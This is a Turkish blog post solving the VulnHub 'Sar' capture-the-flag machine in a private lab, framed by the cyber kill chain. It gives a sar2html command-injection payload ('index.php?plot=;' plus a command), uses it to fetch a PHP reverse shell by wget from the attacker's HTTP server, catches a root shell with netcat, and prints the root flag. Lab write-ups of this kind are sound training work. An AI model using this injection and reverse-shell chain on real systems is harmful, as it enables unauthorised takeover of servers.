Anasayfa » Siber Saldırgan Gibi Düşün: Sar Zafiyetli Makinesinin Çözümü

Siber Saldırgan Gibi Düşün: Sar Zafiyetli Makinesinin Çözümü

Genel Bakış

Herkese Merhaba, bugünkü yazımda VulnHub sitesinde bulunan Sar makinesini bir siber saldırgan gözüyle çözmeye çalışacağım. Bu makinenin çözümünü yaparken “cyber kill chain” adımlarına dikkat ederek ilerleyeceğim. 

Saldırıya başlamadan önce bizlere lazım olacak şeylerden bahsedeyim. Kendi laboratuvar ortamıma kurmuş olduğum Kali Linux makinesi ve Sar zafiyetli makinesini kurup aynı ağa almamız gerekmektedir. Kali Linux ve Sar makinelerini aynı ağa almak için ben VMware sanallaştırma ortamında yeni bir ağ bağdaştırıcısı oluşturarak (Custom VMnet 10 (NAT)) Kali Linux makinemi ve Sar makinelerini bu ağa aldım.

Şekil 1. Zafiyetli makine ve Kali Linux makinelerinin aynı ağa alınması

Kali Linux makinemizi ve Sar makinemizi aynı ağa aldıktan sonra, her iki makinemizi de başlatabiliriz. Kali Linux makinemizi başlattıktan sonra almış olduğu IP adresini görüntülemek için, ifconfig komutunu kullanabiliriz.

Şekil 2. Kali Linux makinesinin ip adresini görüntüleme

Kali Linux makinemizin IP adresi 192.168.159.133 olarak görüntüleyebildim. Zafiyetli makinemiz de aynı ağda bulunduğundan, IP adresini tespit etmek bizim için önemli bir bilgidir. 

İp adresimizi de keşfettiğimize göre şimdi cyber kill chain adımları ile zafiyetli makinemizi hacklemeye başlayabiliriz.

Keşif (Reconnaissance) Aşaması

Cyber Kill Chain modelinin ilk adımı Keşif (Reconnaissance), saldırganların hedef hakkında bilgi topladığı aşamadır. Bu süreçte saldırganlar, hedef sistemin zayıf noktalarını belirlemek için açık kaynak istihbaratı (OSINT), pasif bilgi toplama ve aktif taramalar gibi yöntemler kullanır. Alan adı kayıtları, çalışan bilgileri, sosyal mühendislik teknikleri, açık portlar ve zafiyetli servisler bu aşamada araştırılan unsurlardır. Saldırganlar, elde ettikleri bilgileri sonraki adımlarda kullanarak hedefe sızma planlarını şekillendirir. 

Nmap ile Keşif Aşaması

Bizde makinemizin açık portlarını ve çalışan servislerini tespit etmek için nmap aracını kullanacağız. Nmap aracında bizimle aynı ağda bulunan host cihazlarını tespit etmek için nmap -sn 192.168.159.0/24 -T5 komutu ile Kali Linux makinemizle aynı ağda bulunan host cihazlarını görüntüleyebiliriz.

Şekil 3. Makinemizle aynı ağda bulunan host cihazlarının görüntülenmesi

Nmap sonucuna göre zafiyetli Sar makinesinin 192.168.159.134 ip adresini almış olduğunu tespit ettik. Makinemiz üzerinde çalışan diğer servisleri ve açık portları daha detaylı görmek için, nmap -sS -sV -O 192.168.159.134 -T5 komutunu kullanacağım. Bu komut, zafiyetli makinemizdeki açık portları, bu portların versiyonlarını ve işletim sistemi bilgilerini erişmemizi sağlar.

Şekil 4. Zafiyetli makine üzerinde çalışan açık portlar, versiyonları ve işletim sisteminin görüntülenmesi

Web Sunucusu Üzerinden Keşif Aşaması

Hedef sistem üzerinde yalnızca 80/tcp portu açık olarak gözüküyor. Bu portun versiyon bilgisi ise Apache httpd 2.4.29 olarak görebiliyoruz. Hedefte sadece 80 http portu açık olduğu için web tarayıcısı üzerinden bu adrese giderek web sitesini incelemeye başladım.

Şekil 5. Zafiyetli makinenin web sitesinin görüntülenmesi

Zafiyetli makinenin web sitesine web tarayıcısı üzerinden http://192.168.159.134 ip adresini girerek ulaştığımda sitenin ubuntu tabanlı bir Apache2 sunucusu olduğunu görebiliyoruz. Web sitesi hakkında daha detaylı bilgiler elde etmek ve site üzerinde çalışan alt başlıkları görmek için GoBuster aracı ile siteye brute force saldırısı ile dizin taraması yapamaya karar verdim.

GoBuster Aracı ile Keşif Aşaması

GoBuster, dizin, dosya ve alt alan adı keşfi için kullanılan kaba kuvvet tarayıcı aracıdır. Web uygulamalarındaki gizli dizinleri ve dosyaları tespit etmek amacıyla kullanır. HTTP(S) ve DNS taramaları destekler. Komut satırında çalışır ve büyük wordlist dosyalarıyla etkili sonuçlar sağlar.

GoBuster aracı ile web sitesine brute force saldırısı başlatıp, web sitesinin altında çalışan diğer sayfaları görmek için gobuster dir –u (site URL’si) –w (saldırıda kullanılacak wordlist dosyasının dizin yolu) parametresi ile brute force saldırısına başlayıp dönen yanıtlar üzerinden site üzerinde diğer hangi alt sayfaların çalıştığını görebiliriz.

Şekil 6. Zafiyetli makinenin web sunucusunu GoBuster aracı ile tarama sonuçları

Görüldüğü gibi, site üzerinde /.htpasswd, /.htaccess, /.hta, /server-status başlıkları HTTP 403 hatası vermektedir. Bu, istenen kaynağa erişimin yasak olduğunu gösterir. /index.html, /robots.txt ve /phpinfo.php alt başlıklarında ise sunucu 200 OK durum kodunu döndürmüştür. Bu genellikle istemcinin isteğinin başarılı olduğu ve sunucunun yanıt gövdesinde istenen içeriği döndürdüğü anlamına gelir.

Http 200 durum kodlu 3 farklı alt alana girip incelediğimde /index.htlm ve /phpinfo.php dizinlerinde pek bir sonuç bulamazken /robots.txt dosyası içerisinde sar2HTML gibi gizli bir mesaj buldum.

Şekil 7. Robots.txt doyasının içeriği

Bu mesaj kodu ile ne yapacağımı çok anlamlandıramasam da http://192.168.159.134/sar2HTML araması sonucu ilginç bir web sitesi ekranı ile karşılaştım. Sol üst köşede yer alan sar2html Ver 3.2.1 versiyonlu komutu internette exploit olarak aratarak web sitesi üzerinde herhangi bir açık bulup bulamayacağımı araştırdım.

Şekil 8. sar2HTML doyasının içeriği

Exploit.db Üzerinden Zafiyet Keşfi Aşaması

Exploit.db sitesinde tam da aradığım versiyon hakkında bir exploit bulunmaktaydı. Bu platform, güvenlik araştırmacıları ve sızma testi uzmanları için önemli bir kaynaktır. İçeriğinde, çeşitli sistem ve yazılımlara yönelik açık kaynaklı istismar (exploit) kodları yer almaktadır.

Şekil 9. Zafiyetli makinede kullanılabilecek exploitin keşfedilmesi

Bu exploite göre arama çubuğu üzerinden kullanabileceğim exploit şu şekildedir: http://<ipadrr>/index.php?plot=; komutundan sonra web sitesi üzerinde her hangi bir komut çalıştırabiliyor olduğumu görüntüledim.

Exploit’in çalışıp çalışmadığını test etmek için verilen komutun ardından cat /etc/passwd komutunu çalıştırdım ve bu komut, sistemdeki kullanıcıların parolalarını hashlenmiş şekilde görüntülememe olanak sağladı.

Şekil 10. Exploitin çalışıp çalışmadığını görüntüleme

Daha kolay bir yol düşünüp sistem üzerinden reverse shell alarak sistemden terminal ekranı almayı deneyeceğim. Reverse shell, saldırganın, hedef sistemin bir bağlantı başlatmasını sağlayarak kontrolü ele geçirdiği bir kabuktur. Hedef makine, saldırgana bağlanarak komutların uzaktan çalıştırılmasına izin verir. Keşif aşamamız bu nokta itibariyle tamamlandı. Şimdi sırada ikinci aşama olan Silahlanma (Weaponization) aşamasına geçelim.

Silahlanma (Weaponization) Aşaması

Bu aşamada saldırganlar, keşif sürecinde topladıkları bilgileri kullanarak hedef sistemleri istismar etmek için zararlı yazılımlar veya saldırı araçları hazırlar. Genellikle, bir istismar kodu (exploit) ile bir yükü (payload) birleştirerek çalışır hale getirirler.

Zafiyetli makineye sızmak için silahlanma aşamasında Kali Linux makinemizde hazır bulunan bir php-reverse-shell.php dosyasını kullanabiliriz.

Bu dosya hazırlanmış bir reverse shell dosyasıdır yani eğer bu dosyayı hedef gönderir ve hedef üzerinde bu dosyayı çalıştırabilirsek bu dosyanın içeriğinde bulunan komutlar bize hedefin kabuk erişimini verecektir. Dosya üzerinde birkaç alanda değişiklik yaparak php-reverse-shell.php dosyasını kullanabiliriz. Bu alanlar ip adresi ve dinlemek istediğimiz port numarasıdır. 

/usr/share/webshell dizini altında bulunan php-reverse-shell.php dosyasını nano komutu ile açarak dinlemek istediğimiz portu ben 1234 ve zafiyetli makineden isteği kendi makineme göndereceğim için ip adresini kendi ip adresim olan 192.168.159.133 ip adresi olarak ayarladım.

Şekil 11. Silahlanma aşaması için kullanılacak zararlı php dosyasını özelleştirme

Silahlanma aşamasında zararlı php dosyamızı oluşturup, bu dosyayı kendimize göre özelleştirdiğimize göre üçüncü aşama olan İletme (Delivery) aşamasına geçebiliriz.

İletme (Delivery) Aşaması

Bu aşamada saldırgan, önceki aşamada hazırladığı zararlı yazılımı veya istismar aracını hedef sisteme ulaştırır. Teslimat yöntemi olarak e-posta ekleri (phishing), kötü amaçlı bağlantılar, USB bellekler, zararlı web siteleri veya sömürülen ağ servisleri gibi çeşitli vektörler kullanılabilir. Başarılı bir teslimat, saldırının bir sonraki aşamaya geçmesini sağlar.

Biz bu aşamada reverse shell tekniği ile hedeften bir bağlantı isteği alacağımız için netcat aracını ve basit bir http sunucusunu kullanacağız.

NetCat Üzerinden Dinlenecek Portu Oluşturma

Netcat (nc), ağ bağlantılarını oluşturmak, dinlemek ve analiz etmek için kullanılan çok yönlü bir ağ aracıdır. TCP, UDP protokolleriyle çalışabilir ve veri transferi, port tarama, bind/reverse shell bağlantıları gibi işlevler sağlar. Güvenlik testleri, hata ayıklama ve ağ iletişimi için yaygın olarak kullanılır. Hafif, hızlı ve komut satırından çalıştırılabilir bir yapıya sahiptir.

NetCat aracı ile daha önceden hazırlamış olduğumuz reverse shell dosyasındaki 1234 numaralı portu dinlemeye başladım. Hedef makine üzerinden bu portta herhangi bir işlem olması sonucu kabuk erişimi alacağız.

Şekil 12. Netcat aracı ile 1234 numaralı port dinleme

Basit Bir Http Sunucusu Ayağa Kaldırma

Bir diğer yandan ise Kali Linux makinem üzerinden basit bir http sunucusu ayağa kaldırarak Kali Linux makinemde olan php-reverse-shell.php dosyasını hedef sisteme yüklemek için python modüllerinden http.serverı ayağa kaldırıp 9000 numaralı portu bu işe atamasını yapıyorum.

Şekil 13. Kali Linux makinemızde basit bir http sunucusu ayağa kaldırma

Az önce Exploit-DB üzerinden görüntülediğimiz zafiyeti, hedef sisteme zararlı bir PHP dosyası yüklemek için kullanalım. Bunun için ; işaretinden sonra, kendi makinemizde 9000 numaralı portta çalışan HTTP sunucusunu kullanarak hedefe yeni bir dosya yükleyeceğiz. Bu sebeple hedef sistemde wget komutu ile hazırlamış olduğumuz dosyayı zafiyetli sisteme yükleyeceğiz.

Şekil 14. Oluşturmuş olduğumuz zararlı dosyayı Sar makinesine wget komutu ile indirme

Kali Linux makinemizde wget http://192.168.159.134:9000/home/kali/php-reverse-shell.php komutunu çalıştırdık. Bu komutla hazırladığımız zararlı PHP dosyasını hedef sisteme yükledik.

Hedef sisteme yüklemiş olduğumuz zararlı php dosyası sisteme yüklenmiş olup olmadığını kontrol edelim. Bunun için ls komutu ile sistem üzerinde olan dosyaları görüntüledim.

Şekil 15. Zararlı dosyanın sisteme yüklenip yüklenmediğini görüntüleme

Görüldüğü üzere zafiyetli sisteme zararlı php dosyamız (php-reverse-shell.php) başarılı bir şekilde yüklenmiş olduk. Bu aşamada yapmamız gereken tek şey web sitesi üzerinden bu zararlı olan php dosyasını çalıştırmaktır. NetCat aracı ile dinlemiş olduğumuz 1234 numaralı porttan bize kabuk erişimi vermesini sağlamak olacaktır.

Sömürme (Exploitation) Aşaması

Bu aşamada saldırgan, teslim edilen zararlı yazılımı veya istismar kodunu çalıştırır. Böylece hedef sistemin güvenlik açıklarından faydalanır. Sömürü (exploitation) işlemi, yazılım veya sistem zafiyetinden yararlanarak kontrol sağlamayı içerir.

NetCat aracı ile dinlemekte olduğumuz 1234 numaralı porttan bize kabuk izni vermesi için yüklediğimiz bu php dosyasını çalıştırmamız gerekmektedir. Bunun içinde ;’den sonra arama çubuğuna php php-reverse-shell.php komutu ile php dosyasını hedef sistemde çalıştırabiliriz.

Şekil 16. Zararlı php-reverse-shell.php dosyasının hedef üzerinde çalıştırılması

php php-reverse-shell.php komutunu çalıştırdığımız zaman dinlemiş olduğumuz netcat aracının 1234 numaralı portu ile hedef makineden bir kabuk izni almış olduk.

Şekil 17. Zafiyetli makine üzerinde kabuk erişimi kazanma

Kurulum (Installation) Aşaması

Bu aşamada saldırgan, hedef sisteme sızdıktan sonra kalıcılık sağlamak amacıyla zararlı yazılımını sisteme kurar. Kurulum genellikle arka kapılar (backdoor), rootkitler veya sistem servislerine eklenen zararlı kodlar aracılığıyla gerçekleştirilir. Saldırgan, bu sayede sisteme tekrar erişim sağlayabilir ve tespit edilmeden varlığını sürdürebilir.

Bizim zafiyetli makinemiz kendi lokal ağımızda olduğu için herhangi bir backdoor kurulumu yapmayacağız.

Komuta ve Kontrol (Command and Control) (C2) Aşaması

Sisteme yerleşmiş olan zararlı yazılımın çalışma, uzaktan kontrol edilme ve sistemin ele geçirildiği aşamadır. Biz herhangi bir backdoor uygulaması yüklemediğimiz için bu aşamayı da geçebiliriz.

Eylem (Actions on objectives) Aşaması

Bu aşama, saldırganın kampanyasının amacına ulaşmaya başladığı ve sistemdeki nihai hedefe yönelik eylemleri gerçekleştirdiği aşamadır. Saldırganlar, burada veri hırsızlığı, fidye yazılımı yükleme, sistemin kontrolünü ele geçirme gibi hedeflere ulaşmaya çalışırlar.

Bizim kullanmış olduğumuz Sar zafiyetli makinesi bir CTF yarışması makinesidir. Bu sebeple /root dizini altında bulunan root.txt dosyasını okumak bizim için yeterli olmaktadır.

Şekil 18. Zafiyetli makine üzerinde istenen aktiviteleri gerçekleştirme

Kabuk erişimi elde ettikten sonra alışık olduğumuz terminal ara yüzünü görüntülemek için /bin/bash -i komutunu kullanabiliriz. 

whoami komutunu ile makinede hangi kullanıcıda olduğumuzu görüntüleyince root kullanıcısında olduğumuzu görüyoruz. Bu da zafiyetli makine üzerinde herhangi bir yetki yükseltme işlemine gerek olmadığını bize belirtir.

Son aşama olarak cd /root dizini altında bulunan root.txt dosyasını cat komutu ile okutuyoruz. Çıkan çıktıyı (66f93d6b2ca96c9ad78a8a9ba0008e99) CTF yarışmasında ilgili alana yapıştırarak makineyi tamamlayabiliriz.

Bu yazımda cyber kill chain adımlarını kullanarak Sar zafiyetli makinesinin çözümünden bahsettim.

Bir sonraki yazılarımda görüşmek üzere.

Linkedin hesabıma buradan ulaşıp sormak istediğiniz herhangi bir sorunuz varsa bana ulaşabilirsiniz.

Fethi Ahmet Yıldırım

Merhaba. Burada sizlerle siber güvenlik alanında kendimi geliştirirken öğrendiğim bilgileri paylaşmaktayım. Keyifli okumalar dilerim.

More Reading

Post navigation

Leave a Comment

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir